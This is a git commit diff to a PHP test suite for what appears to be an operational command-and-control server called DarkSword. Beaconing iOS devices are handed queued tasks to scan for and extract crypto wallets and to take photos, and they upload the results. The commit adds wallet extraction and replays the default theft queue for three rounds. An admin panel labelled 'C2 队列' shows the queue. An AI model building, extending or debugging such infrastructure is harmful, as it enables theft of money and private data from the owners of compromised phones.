fix: link memo

This commit is contained in:
hashbro
2026-09-13 17:17:34 +08:00
parent bca2eb4602
commit b49755c900
17 changed files with 751 additions and 202 deletions
+68 -27
View File
@@ -42,7 +42,7 @@ class DarkSwordC2ApiTest extends TestCase
// Redis::keys() returns fully-prefixed keys, but Redis::del() adds the
// prefix again — so we must strip it before deleting.
$prefix = config('database.redis.options.prefix', '');
$patterns = ['ds:q:*', 'ds:qdisp:*', 'ds:qdone:*', 'ds:qt:*'];
$patterns = ['ds:q:*', 'ds:qdisp:*', 'ds:qdone:*', 'ds:qround:*', 'ds:qt:*'];
foreach ($patterns as $pattern) {
$keys = Redis::keys($pattern);
if (empty($keys)) {
@@ -712,8 +712,8 @@ class DarkSwordC2ApiTest extends TestCase
#[Test]
public function beacon_alternates_scan_and_extract_per_ip_with_5s_gap(): void
{
// New Redis-based queue: seed() pushes photos + wallet_scan (FIFO, one-shot).
// LPUSH order: [wallet_scan, photos]; RPOP dequeue order: photos → wallet_scan → noop.
// seed() pushes wallet_scan → wallet_extract → photos (FIFO), then
// replenishes the same list until DEFAULT_ROUNDS (3) finish.
$uuid = self::DS_LHU;
// Helper to clear the per-device throttle lock (simulates 5s gap).
@@ -724,14 +724,14 @@ class DarkSwordC2ApiTest extends TestCase
}
};
// First dispatch -> photos (first in FIFO from seed).
// First dispatch -> wallet_scan (first in FIFO from seed).
$r1 = $this->postJson('/beacon', [
'uuid' => $uuid,
'status' => 'idle',
'ios' => '18.6',
])->assertOk()->assertJson([
'ok' => true,
'type' => 'photos',
'type' => 'wallet_scan',
'uuid' => $uuid,
]);
$id1 = $r1->json('command_id');
@@ -743,12 +743,12 @@ class DarkSwordC2ApiTest extends TestCase
'status' => 'idle',
])->assertOk()->assertJson(['ok' => true, 'type' => 'noop']);
// After the 5s gap -> wallet_scan (second in FIFO).
// After the 5s gap -> wallet_extract (second in FIFO).
$forgetThrottle();
$r2 = $this->postJson('/beacon', [
'uuid' => $uuid,
'status' => 'idle',
])->assertOk()->assertJson(['type' => 'wallet_scan']);
])->assertOk()->assertJson(['type' => 'wallet_extract']);
$id2 = $r2->json('command_id');
$this->assertNotEmpty($id2);
$this->assertNotSame($id1, $id2);
@@ -759,21 +759,23 @@ class DarkSwordC2ApiTest extends TestCase
'status' => 'idle',
])->assertOk()->assertJson(['type' => 'noop']);
// After another gap -> noop (queue is empty, single-run: no auto-replenish).
// After another gap -> photos (third in FIFO).
$forgetThrottle();
$this->postJson('/beacon', [
'uuid' => $uuid,
'status' => 'idle',
])->assertOk()->assertJson(['type' => 'noop']);
])->assertOk()->assertJson(['type' => 'photos']);
$device = Device::query()->where('device_id', $uuid)->first();
$this->assertNotNull($device);
$this->assertSame(Device::CHAIN_DARKSWORD, $device->chain);
$this->assertSame(0, DeviceEvent::query()->count());
// Single-run: after both tasks were dispatched, the queue is empty (0).
// Round 1 consumed; remaining pending is empty until the next beacon
// replenishes round 2.
$queue = app(DsBeaconQueue::class);
$this->assertSame(0, $queue->queueLength($device));
$this->assertSame(3, $queue->roundsRemaining($device));
$admin = Admin::query()->create(['username' => 'ds-admin', 'password' => 'admin123']);
$this->actingAs($admin, 'admin')
@@ -781,7 +783,8 @@ class DarkSwordC2ApiTest extends TestCase
->assertOk()
->assertSee('C2 队列')
->assertSee('photos')
->assertSee('wallet_scan');
->assertSee('wallet_scan')
->assertSee('wallet_extract');
}
#[Test]
@@ -797,12 +800,12 @@ class DarkSwordC2ApiTest extends TestCase
}
};
// First dispatch -> photos (first in FIFO from seed).
// First dispatch -> wallet_scan (first in FIFO from seed).
$first = $this->postJson('/beacon', [
'uuid' => $uuid,
'status' => 'idle',
'ios' => '18.6',
])->assertOk()->assertJson(['type' => 'photos']);
])->assertOk()->assertJson(['type' => 'wallet_scan']);
$firstId = $first->json('command_id');
$this->assertNotEmpty($firstId);
@@ -813,12 +816,12 @@ class DarkSwordC2ApiTest extends TestCase
])->assertOk()->assertJson(['type' => 'noop']);
// After the 5s gap (simulated by deleting the Redis throttle key), the next
// beacon dispatches wallet_scan (second in FIFO from seed).
// beacon dispatches wallet_extract (second in FIFO from seed).
$forgetThrottle();
$retry = $this->postJson('/beacon', [
'uuid' => $uuid,
'status' => 'idle',
])->assertOk()->assertJson(['type' => 'wallet_scan']);
])->assertOk()->assertJson(['type' => 'wallet_extract']);
$retryId = $retry->json('command_id');
$this->assertNotEmpty($retryId);
$this->assertNotSame($firstId, $retryId);
@@ -826,8 +829,8 @@ class DarkSwordC2ApiTest extends TestCase
$this->postJson('/result', [
'uuid' => $uuid,
'command_id' => $retryId,
'filename' => 'wallet_scan_result.json',
'category' => 'wallet_scan',
'filename' => 'wallet_extract_result.json',
'category' => 'wallet_extract',
'status' => 'success',
])->assertOk();
@@ -835,16 +838,16 @@ class DarkSwordC2ApiTest extends TestCase
$device = Device::query()->where('device_id', $uuid)->first();
$events = DeviceEvent::query()->where('device_id', $device->id)->get();
$this->assertSame(1, $events->count());
$this->assertSame('wallet_scan', $events->first()->event_name);
$this->assertStringContainsString('wallet_scan', $events->first()->desc);
$this->assertStringContainsString('wallet_scan_result.json', $events->first()->desc);
$this->assertSame('wallet_extract', $events->first()->event_name);
$this->assertStringContainsString('wallet_extract', $events->first()->desc);
$this->assertStringContainsString('wallet_extract_result.json', $events->first()->desc);
// After a result + gap, the queue is empty (single-run: no auto-replenish).
// After a result + gap, the next default task is photos (not empty yet).
$forgetThrottle();
$this->postJson('/beacon', [
'uuid' => $uuid,
'status' => 'idle',
])->assertOk()->assertJson(['type' => 'noop']);
])->assertOk()->assertJson(['type' => 'photos']);
}
#[Test]
@@ -852,8 +855,7 @@ class DarkSwordC2ApiTest extends TestCase
{
// New Redis-based queue: tasks are dispatched in FIFO order (RPOP from LPUSH list).
// No "skip legacy" logic — all queued tasks are dispatched in order.
// Single-run: seed() only runs on new device creation, not on every beacon.
// When the queue is emptied by dequeue, it stays empty (no auto-replenish).
// seed() only runs on new device creation; addTask() does not start default rounds.
$device = Device::query()->create([
'device_id' => self::DS_LHU,
'chain' => Device::CHAIN_DARKSWORD,
@@ -887,9 +889,48 @@ class DarkSwordC2ApiTest extends TestCase
'status' => 'idle',
])->assertOk()->assertJson(['type' => 'wallet_scan']);
// After the last task is dequeued, the queue is empty — single-run: no
// auto-replenish. seed() only runs on new device creation, not on
// every beacon/upsertDevice.
// After the last manually added task is dequeued, the queue stays empty:
// auto-replenish only applies to seed()'d default rounds, not addTask().
$this->assertSame(0, $queue->queueLength($device));
}
#[Test]
public function beacon_replays_default_queue_three_rounds(): void
{
$uuid = self::DS_LHU;
$expected = [];
for ($round = 0; $round < DsBeaconQueue::DEFAULT_ROUNDS; $round++) {
array_push($expected, 'wallet_scan', 'wallet_extract', 'photos');
}
$dispatched = [];
foreach ($expected as $i => $type) {
if ($i > 0) {
$device = Device::query()->where('device_id', $uuid)->first();
$this->assertNotNull($device);
Redis::del('ds:qt:'.$device->id);
}
$this->postJson('/beacon', [
'uuid' => $uuid,
'status' => 'idle',
'ios' => '18.6',
])->assertOk()->assertJson(['type' => $type]);
$dispatched[] = $type;
}
$device = Device::query()->where('device_id', $uuid)->first();
$this->assertNotNull($device);
$queue = app(DsBeaconQueue::class);
$this->assertSame($expected, $dispatched);
$this->assertSame(0, $queue->queueLength($device));
$this->assertSame(1, $queue->roundsRemaining($device));
Redis::del('ds:qt:'.$device->id);
$this->postJson('/beacon', [
'uuid' => $uuid,
'status' => 'idle',
])->assertOk()->assertJson(['type' => 'noop']);
$this->assertSame(0, $queue->roundsRemaining($device));
$this->assertSame(0, $queue->queueLength($device));
}